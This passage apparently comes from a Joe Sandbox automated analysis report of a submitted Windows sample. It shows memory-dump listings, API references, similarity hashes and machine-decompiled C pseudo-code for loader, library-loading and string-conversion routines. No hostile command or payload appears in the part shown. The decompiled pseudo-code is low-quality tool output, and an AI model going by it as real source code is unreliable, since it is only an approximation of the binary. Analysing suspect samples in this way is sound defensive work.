                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _stricmpstrchrstrncmp
                                                                                                                              • String ID: ..\s\crypto\store\store_lib.c$T$file
                                                                                                                              • API String ID: 3017659097-909561481
                                                                                                                              • Opcode ID: 972cf28d64957f1f9706c65b830387e12e6d4d1d06ab10a153e9ffed294f440a
                                                                                                                              • Instruction ID: 744f0beb0136837fac89eb2c37ba613176c0c4c43be506f9b6e10cf289c06b4e
                                                                                                                              • Opcode Fuzzy Hash: 972cf28d64957f1f9706c65b830387e12e6d4d1d06ab10a153e9ffed294f440a
                                                                                                                              • Instruction Fuzzy Hash: 2041C732619A6A86EB11AF21E8606A9B7A0FF44B94F444030EE6D077D5FF3CD505C7B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D7BA0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 99COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide
                                                                                                                              • String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
                                                                                                                              • API String ID: 626452242-876015163
                                                                                                                              • Opcode ID: 621835e95deb0ee244408a167ace6c9f9523e463970a4000df62c3940199f77a
                                                                                                                              • Instruction ID: 0e09a6cabd6015ca548be7467f349687970a08901be1a56bac06b23c241a8040
                                                                                                                              • Opcode Fuzzy Hash: 621835e95deb0ee244408a167ace6c9f9523e463970a4000df62c3940199f77a
                                                                                                                              • Instruction Fuzzy Hash: CE41C532A08B438AFA22EF15E44056DE2A5FB54790FD80176EE4D47B96DF3CD562C720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD745004 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 91COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Arg_$ArgumentCheckPositionalReadyUnicode_
                                                                                                                              • String ID: a unicode character$argument 1$numeric
                                                                                                                              • API String ID: 3545102714-2385192657
                                                                                                                              • Opcode ID: 910603b388ac8663005a7d36a4b721a837b516f36f35cbb36a759c2616a32f0f
                                                                                                                              • Instruction ID: 6ab43e5beefe840e4b173163516f08a14dacc7655728ee2ce785ba10bd66e684
                                                                                                                              • Opcode Fuzzy Hash: 910603b388ac8663005a7d36a4b721a837b516f36f35cbb36a759c2616a32f0f
                                                                                                                              • Instruction Fuzzy Hash: EE318625B18A6AC1EB524B15D46027DA361EB46B85F948032DA2D4B7ECEF3DD846C3F0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD744E38 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 91COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Arg_$ArgumentCheckPositionalReadyUnicode_
                                                                                                                              • String ID: a unicode character$argument 1$name
                                                                                                                              • API String ID: 3545102714-4190364640
                                                                                                                              • Opcode ID: bf24b6ba884f47bb0cce4861fece50e8f2ecd0e547af09c8d9dfd2d108f0a873
                                                                                                                              • Instruction ID: d99679f4e2a1e967a67af6ac6a3b0258c1784ab993ba602952c6a260aa7519ec
                                                                                                                              • Opcode Fuzzy Hash: bf24b6ba884f47bb0cce4861fece50e8f2ecd0e547af09c8d9dfd2d108f0a873
                                                                                                                              • Instruction Fuzzy Hash: 7E31A721B18A6AC1EB514B16D46026EA351EF85B89F588037DE2C4B7DCEF7DD806D3B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD74435C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 91COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Arg_$ArgumentCheckPositionalReadyUnicode_
                                                                                                                              • String ID: a unicode character$argument 1$decimal
                                                                                                                              • API String ID: 3545102714-2474051849
                                                                                                                              • Opcode ID: 4a0eb80019097f1447480b8d7575f1519ad7e629deb1d4dba1b5699d0132ebf0
                                                                                                                              • Instruction ID: bcff4a9a68e2dbd0c30ce2b158b8bddf4ddaf8190bfa582cd3d33f533400a5aa
                                                                                                                              • Opcode Fuzzy Hash: 4a0eb80019097f1447480b8d7575f1519ad7e629deb1d4dba1b5699d0132ebf0
                                                                                                                              • Instruction Fuzzy Hash: DD31A761B08A6EC1EB514B0AD46027DA251EB41B89F544032DE6C4B7DDEF7DE812D3B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D6460 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 44%
                                                                                                                              			E00007FF77FF7DA8D6460(void* __edx, void* __rax, long long __rbx, void* __rcx, void* __r8, char _a24, char _a8216, signed int _a16408, long long _a16448) {
				void* __rdi;
				long _t18;
				void* _t36;
				void* _t42;
				void* _t43;
				signed long long _t52;
				signed long long _t53;
				long long _t55;
				signed long long _t79;
				void* _t81;
				void* _t82;
				void* _t83;
				void* _t91;
				void* _t92;
				void* _t93;

				_t86 = __r8;
				_t55 = __rbx;
				_t36 = __edx;
				E00007FF77FF7DA8DAD20(0x4030, __rax, _t92, _t93);
				_t84 = _t83 - __rax;
				_t52 =  *0xda90d008; // 0xe3add53f52b8
				_t53 = _t52 ^ _t83 - __rax;
				_a16408 = _t53;
				_t74 = __rcx;
				r8d = 0;
				E00007FF77FF7DA8D79A0(_t53, __rbx, __rcx, __rcx, _t81, __r8);
				if (_t53 != 0) goto 0xda8d64a9;
				E00007FF77FF7DA8D2770(_t53, "LOADER: Failed to convert runtime-tmpdir to a wide string.\n", _t74, _t86, _t91);
				goto 0xda8d65b8;
				r8d = 0x1000;
				_a16448 = _t55;
				_t18 = ExpandEnvironmentStringsW(??, ??, ??);
				E00007FF77FF7DA8E3FEC(0, _t53,  &_a24, _t86);
				if (_t18 != 0) goto 0xda8d64e6;
				E00007FF77FF7DA8D2770(_t53, "LOADER: Failed to expand environment variables in the runtime-tmpdir.\n",  &_a24, _t86, _t91);
				goto 0xda8d65b0;
				if (E00007FF77FF7DA8D7710(_t55,  &_a24) == 0) goto 0xda8d6500;
				E00007FF77FF7DA8E5E94(_t53, _t55,  &_a24, _t81, _t82);
				goto 0xda8d6512;
				r8d = 0x1000;
				E00007FF77FF7DA8E5298(0, _t36, _t53, _t55,  &_a24,  &_a24, _t53, _t81, _t86);
				if (_t53 != 0) goto 0xda8d652d;
				E00007FF77FF7DA8D2770(_t53, "LOADER: Failed to obtain the absolute path of the runtime-tmpdir.\n",  &_a24, _t86, _t91);
				goto 0xda8d65b0;
				r8d = 0x2000;
				E00007FF77FF7DA8DC170();
				E00007FF77FF7DA8DC6B4(0x5c, _t53, _t91);
				_t79 = _t53;
				if (_t53 == 0) goto 0xda8d65a2;
				asm("o16 nop [eax+eax]");
				E00007FF77FF7DA8E5F18(_t42, _t43,  &_a8216, _t53, _t79, (_t79 - _t53 >> 1) + 1);
				CreateDirectoryW(??, ??);
				_t10 = _t79 + 2; // 0x2
				E00007FF77FF7DA8DC6B4(0x5c, _t10, _t91);
				if (_t53 != 0) goto 0xda8d6560;
				return E00007FF77FF7DA8DACF0(CreateDirectoryW(??, ??), 0, _a16408 ^ _t84);
			}


















                                                                                                                              0x7ff7da8d6460
                                                                                                                              0x7ff7da8d6460
                                                                                                                              0x7ff7da8d6460
                                                                                                                              0x7ff7da8d6467
                                                                                                                              0x7ff7da8d646c
                                                                                                                              0x7ff7da8d646f
                                                                                                                              0x7ff7da8d6476
                                                                                                                              0x7ff7da8d6479
                                                                                                                              0x7ff7da8d6481
                                                                                                                              0x7ff7da8d6484
                                                                                                                              0x7ff7da8d6489
                                                                                                                              0x7ff7da8d6494
                                                                                                                              0x7ff7da8d649d
                                                                                                                              0x7ff7da8d64a4
                                                                                                                              0x7ff7da8d64a9
                                                                                                                              0x7ff7da8d64af
                                                                                                                              0x7ff7da8d64bf
                                                                                                                              0x7ff7da8d64ca
                                                                                                                              0x7ff7da8d64d1
                                                                                                                              0x7ff7da8d64da
                                                                                                                              0x7ff7da8d64e1
                                                                                                                              0x7ff7da8d64f2
                                                                                                                              0x7ff7da8d64f9
                                                                                                                              0x7ff7da8d64fe
                                                                                                                              0x7ff7da8d6500
                                                                                                                              0x7ff7da8d650d
                                                                                                                              0x7ff7da8d6518
                                                                                                                              0x7ff7da8d6521
                                                                                                                              0x7ff7da8d6528
                                                                                                                              0x7ff7da8d6537
                                                                                                                              0x7ff7da8d653d
                                                                                                                              0x7ff7da8d654a
                                                                                                                              0x7ff7da8d654f
                                                                                                                              0x7ff7da8d6555
                                                                                                                              0x7ff7da8d6557
                                                                                                                              0x7ff7da8d6577
                                                                                                                              0x7ff7da8d6586
                                                                                                                              0x7ff7da8d6591
                                                                                                                              0x7ff7da8d6595
                                                                                                                              0x7ff7da8d65a0
                                                                                                                              0x7ff7da8d65d0

                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00007FF7DA8D79A0: MultiByteToWideChar.KERNEL32 ref: 00007FF7DA8D79DA
                                                                                                                              • ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF7DA8D67AF,?,00000000,?,TokenIntegrityLevel), ref: 00007FF7DA8D64BF
                                                                                                                                • Part of subcall function 00007FF7DA8D2770: MessageBoxW.USER32 ref: 00007FF7DA8D2841
                                                                                                                              Strings
                                                                                                                              • LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7DA8D64D3
                                                                                                                              • LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7DA8D6496
                                                                                                                              • LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7DA8D651A
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
                                                                                                                              • String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
                                                                                                                              • API String ID: 1662231829-3498232454
                                                                                                                              • Opcode ID: cd5dd1a5472dd457c7a2bf11385e913bd3ab28d4b37e5758f678ec0669c6de24
                                                                                                                              • Instruction ID: 1b3900fb572a1101cbb8a53efb34f724cdde03e97494a1381f1cc6858b207863
                                                                                                                              • Opcode Fuzzy Hash: cd5dd1a5472dd457c7a2bf11385e913bd3ab28d4b37e5758f678ec0669c6de24
                                                                                                                              • Instruction Fuzzy Hash: 6E31A451B2864384FE26B721A9113BDD261BF98780FC80473DE4E42797EE2CE5148720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DCE48 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 50%
                                                                                                                              			E00007FF77FF7DA8DCE48(void* __ecx, long long __rbx, void* __rdx, signed int __rsi, void* __r8, void* __r9) {
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				struct HINSTANCE__* _t81;
				long long _t85;
				void* _t89;
				struct HINSTANCE__* _t94;
				long _t97;
				void* _t100;
				signed long long _t101;
				WCHAR* _t104;

				 *((long long*)(_t89 + 8)) = __rbx;
				 *((long long*)(_t89 + 0x10)) = _t85;
				 *((long long*)(_t89 + 0x18)) = __rsi;
				_t101 = _t100 | 0xffffffff;
				_t61 =  *((intOrPtr*)(0x7ff7da8d0000 + 0x4c710 + _t81 * 8));
				if (_t61 == _t101) goto 0xda8dcf77;
				if (_t61 != 0) goto 0xda8dcf79;
				if (__r8 == __r9) goto 0xda8dcf6f;
				_t67 =  *((intOrPtr*)(0x7ff7da8d0000 + 0x4c6f8 + __rsi * 8));
				if (_t67 == 0) goto 0xda8dceba;
				if (_t67 != _t101) goto 0xda8dcf51;
				goto 0xda8dcf25;
				r8d = 0x800;
				LoadLibraryExW(_t104, _t100, _t97);
				_t68 = _t61;
				if (_t61 != 0) goto 0xda8dcf31;
				if (GetLastError() != 0x57) goto 0xda8dcf13;
				_t14 = _t68 + 7; // 0x7
				r8d = _t14;
				if (E00007FF77FF7DA8E9950(__r8) == 0) goto 0xda8dcf13;
				r8d = 0;
				LoadLibraryExW(??, ??, ??);
				if (_t61 != 0) goto 0xda8dcf31;
				 *((intOrPtr*)(0x7ff7da8d0000 + 0x4c6f8 + __rsi * 8)) = _t101;
				goto 0xda8dce98;
				_t21 = 0x7ff7da8d0000 + 0x4c6f8 + __rsi * 8;
				_t65 =  *_t21;
				 *_t21 = _t61;
				if (_t65 == 0) goto 0xda8dcf51;
				FreeLibrary(_t94);
				GetProcAddress(_t81);
				if (_t65 == 0) goto 0xda8dcf6f;
				 *((intOrPtr*)(0x7ff7da8d0000 + 0x4c710 + _t81 * 8)) = _t65;
				goto 0xda8dcf79;
				 *((intOrPtr*)(0x7ff7da8d0000 + 0x4c710 + _t81 * 8)) = _t101;
				return 0;
			}















                                                                                                                              0x7ff7da8dce48
                                                                                                                              0x7ff7da8dce4d
                                                                                                                              0x7ff7da8dce52
                                                                                                                              0x7ff7da8dce6d
                                                                                                                              0x7ff7da8dce7a
                                                                                                                              0x7ff7da8dce86
                                                                                                                              0x7ff7da8dce8f
                                                                                                                              0x7ff7da8dce98
                                                                                                                              0x7ff7da8dcea1
                                                                                                                              0x7ff7da8dcead
                                                                                                                              0x7ff7da8dceb2
                                                                                                                              0x7ff7da8dceb8
                                                                                                                              0x7ff7da8dcec7
                                                                                                                              0x7ff7da8dcecd
                                                                                                                              0x7ff7da8dced3
                                                                                                                              0x7ff7da8dced9
                                                                                                                              0x7ff7da8dcee4
                                                                                                                              0x7ff7da8dcee6
                                                                                                                              0x7ff7da8dcee6
                                                                                                                              0x7ff7da8dcefb
                                                                                                                              0x7ff7da8dcefd
                                                                                                                              0x7ff7da8dcf05
                                                                                                                              0x7ff7da8dcf11
                                                                                                                              0x7ff7da8dcf1d
                                                                                                                              0x7ff7da8dcf2c
                                                                                                                              0x7ff7da8dcf3b
                                                                                                                              0x7ff7da8dcf3b
                                                                                                                              0x7ff7da8dcf3b
                                                                                                                              0x7ff7da8dcf46
                                                                                                                              0x7ff7da8dcf4b
                                                                                                                              0x7ff7da8dcf57
                                                                                                                              0x7ff7da8dcf60
                                                                                                                              0x7ff7da8dcf65
                                                                                                                              0x7ff7da8dcf6d
                                                                                                                              0x7ff7da8dcf6f
                                                                                                                              0x7ff7da8dcf95

                                                                                                                              APIs
                                                                                                                              • LoadLibraryExW.KERNEL32(?,?,?,00007FF7DA8DD0FA,?,?,?,00007FF7DA8DCDEC,?,?,00000001,00007FF7DA8DCA09), ref: 00007FF7DA8DCECD
                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF7DA8DD0FA,?,?,?,00007FF7DA8DCDEC,?,?,00000001,00007FF7DA8DCA09), ref: 00007FF7DA8DCEDB
                                                                                                                              • LoadLibraryExW.KERNEL32(?,?,?,00007FF7DA8DD0FA,?,?,?,00007FF7DA8DCDEC,?,?,00000001,00007FF7DA8DCA09), ref: 00007FF7DA8DCF05
                                                                                                                              • FreeLibrary.KERNEL32(?,?,?,00007FF7DA8DD0FA,?,?,?,00007FF7DA8DCDEC,?,?,00000001,00007FF7DA8DCA09), ref: 00007FF7DA8DCF4B
                                                                                                                              • GetProcAddress.KERNEL32(?,?,?,00007FF7DA8DD0FA,?,?,?,00007FF7DA8DCDEC,?,?,00000001,00007FF7DA8DCA09), ref: 00007FF7DA8DCF57
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Library$Load$AddressErrorFreeLastProc
                                                                                                                              • String ID: api-ms-
                                                                                                                              • API String ID: 2559590344-2084034818
                                                                                                                              • Opcode ID: b1925c37cafe71baed539b1876bc23373fb45261b76e946b888b2af6812d26f2
                                                                                                                              • Instruction ID: f0ced481abc93763e2e58935ba08f2658f2b851d3376a16cf795d6dedd181fca
                                                                                                                              • Opcode Fuzzy Hash: b1925c37cafe71baed539b1876bc23373fb45261b76e946b888b2af6812d26f2
                                                                                                                              • Instruction Fuzzy Hash: F8310661B1AA4299FE13BB12A8005BDE394BF48BA4FDD4576DD2D47382DF7CE4608320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D79A0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • MultiByteToWideChar.KERNEL32 ref: 00007FF7DA8D79DA
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7DA8D76B4,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8D101D), ref: 00007FF7DA8D2654
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: MessageBoxW.USER32 ref: 00007FF7DA8D272C
                                                                                                                              • MultiByteToWideChar.KERNEL32 ref: 00007FF7DA8D7A60
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide$ErrorLastMessage
                                                                                                                              • String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
                                                                                                                              • API String ID: 3723044601-876015163
                                                                                                                              • Opcode ID: 92c20d544a3da61e5b294facc47a8b8ec1f934979f76716e8c9c135b6086c3a3
                                                                                                                              • Instruction ID: 4ee42b84989f1e7fa71373c33a3489ee2cc6d54337d415c6146055f499a284bc
                                                                                                                              • Opcode Fuzzy Hash: 92c20d544a3da61e5b294facc47a8b8ec1f934979f76716e8c9c135b6086c3a3
                                                                                                                              • Instruction Fuzzy Hash: A5216122B08A4381FB12EB15F40016DE361FB947D4FD84572DE4C87B6AEF6CD6658710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EA570 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF,?,?,?,00007FF7DA8E9263), ref: 00007FF7DA8EA57F
                                                                                                                              • FlsGetValue.KERNEL32(?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF,?,?,?,00007FF7DA8E9263), ref: 00007FF7DA8EA594
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF,?,?,?,00007FF7DA8E9263), ref: 00007FF7DA8EA5B5
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF,?,?,?,00007FF7DA8E9263), ref: 00007FF7DA8EA5E2
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF,?,?,?,00007FF7DA8E9263), ref: 00007FF7DA8EA5F3
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF,?,?,?,00007FF7DA8E9263), ref: 00007FF7DA8EA604
                                                                                                                              • SetLastError.KERNEL32(?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF,?,?,?,00007FF7DA8E9263), ref: 00007FF7DA8EA61F
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
